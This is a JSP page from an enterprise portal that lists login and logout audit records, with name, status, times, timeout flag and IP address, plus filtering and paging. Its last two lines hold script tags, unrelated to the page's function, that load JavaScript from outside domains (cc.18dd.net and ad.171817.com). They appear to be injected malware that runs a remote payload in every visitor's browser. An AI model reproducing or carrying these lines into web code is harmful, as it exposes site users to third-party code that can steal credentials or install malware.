<%
/*
 * @(#)ListAuditLoginOut.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListAuditLoginOut.jsp

  This is a ListAuditLoginOut page.  It shows the AuditLoginOut in EIP.

    @author             Phoebe Wong
    @company            DCIVision Ltd
    @creation date      30/07/2003
    @version            $Revision: 1.25.4.10 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listAuditLoginOutForm" scope="request" class="com.dcivision.framework.web.ListAuditLoginOutForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "auditLoginOutList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"log.columnheader.login_name", "B.LOGIN_NAME"},
                            {"log.columnheader.login_status", "LOGIN_STATUS"},
                            {"log.columnheader.login_datetime", "LOGIN_DATETIME"},
                            {"log.columnheader.logout_datetime", "LOGOUT_DATETIME"},
                            {"log.columnheader.timeout_flag", "TIMEOUT_FLAG"},
                            {"log.columnheader.ip_address", "IP_ADDRESS"}
                          };

  String[][] SEARCH_MAP = { {"log.label.login_name", "B.LOGIN_NAME"},
                            {"log.label.ip_address", "IP_ADDRESS"}
                          };

  int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="log/ListAuditLoginOut" method="post">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>


<layout:listBar>
    <div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
      <html:colheaderButton label="common.label.refresh" link="ListAuditLoginOut.do"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>


<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listAuditLoginOutForm, '${listAuditLoginOutForm.sortAttribute}', '${listAuditLoginOutForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listAuditLoginOutForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <tr>
  <td colspan="6">
      <html:img src='IconRedDot.gif'  align='absmiddle'/> <b><bean:message key='log.label.offline'/></b>
      &nbsp;&nbsp;&nbsp;&nbsp;
      <html:img src='IconGreenDot.gif'  align='absmiddle'/> <b><bean:message key='log.label.online'/></b>
  </td>
  </tr>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listAuditLoginOutForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listAuditLoginOutForm.getSortAttribute()%>" sortOrder="<%=listAuditLoginOutForm.getSortOrder()%>" checkColumn="false" editColumn="false" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="auditLoginOut" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', -1);">
    <td nowrap>
      <%if (applicationContainer.isOnline(((AuditLoginOut)auditLoginOut).getUserRecordID(), ((AuditLoginOut)auditLoginOut).getSessionID())) {%>
      <html:img src='IconGreenDot.gif'  align='absmiddle'/>
      <%} else {%>
      <html:img src='IconRedDot.gif'  align='absmiddle'/>
      <%}%>
      &nbsp;<bean:write name='auditLoginOut' property='loginName'/>
    </td>
    <td><bean:message key='<%="log.label.status_" + ((AuditLoginOut)auditLoginOut).getLoginStatus().trim()%>'/></td>
    <td nowrap><bean:write name='auditLoginOut' property='loginDatetime' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td nowrap><bean:write name='auditLoginOut' property='logoutDatetime' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td nowrap><%if ("Y".equals(((AuditLoginOut)auditLoginOut).getTimeoutFlag())) {%>
      <html:img src='IconTick.gif'  align='absmiddle'/>
    <%} else {%>
      <% if(GlobalConstant.ERROR.equals(((AuditLoginOut)auditLoginOut).getTimeoutFlag())){%>
        &nbsp;
      <%} else{ %>
        <html:img src='IconCross.gif'  align='absmiddle'/>
      <%} %>
    <%}%></td>
    <td><bean:write name='auditLoginOut' property='IPAddress'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listAuditLoginOutForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->

<!-- Table Showing Record List End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>